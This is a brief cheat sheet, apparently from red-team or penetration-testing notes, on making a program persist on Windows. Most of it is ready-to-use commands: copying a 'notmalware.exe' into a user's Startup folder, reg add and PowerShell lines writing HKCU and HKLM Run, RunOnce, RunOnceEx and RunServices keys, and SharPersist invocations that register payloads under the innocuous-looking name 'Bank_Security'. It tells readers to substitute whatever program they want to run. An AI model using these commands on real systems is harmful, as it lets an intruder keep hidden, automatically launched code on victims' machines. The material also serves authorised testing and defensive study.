Windows Persistence

Start up folder

copy C:\Windows\Temp\notmalware.exe "C:\Users\ngodfrey\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notmalware.exe"

Registry Persistence

• Just change the example.exe or example.bat to your executable or script or whatever you want to run

• Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

HKCU

• Run Key

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.exe"

• Service start during boot keys

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.bat"
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop\' -Name 'Bank_Security' -Value 'C:\Windows\Temp\example.bat'

HKLM

• Admin privs are needed for these

• Run Key

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.bat"

• Service start during boot keys

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.bat"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v 1 /t REG_SZ /d "C:\Windows\Temp\example.bat"

SharpPersist

• https://github.com/fireeye/SharPersist

SharPersist.exe -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.exe" -f "Bank_Security" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.exe" -k "hkcurun" -v "Bank_Security" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.bat" -k "hklmrun" -v "Bank_Security" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.bat" -k "hklmrunonce" -v "Bank_Security" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.bat" -k "hklmrunonceex" -v "Bank_Security" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.bat" -k "hkcurunonce" -v "Bank_Security" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\Temp\example.bat" -k "logonscript" -m add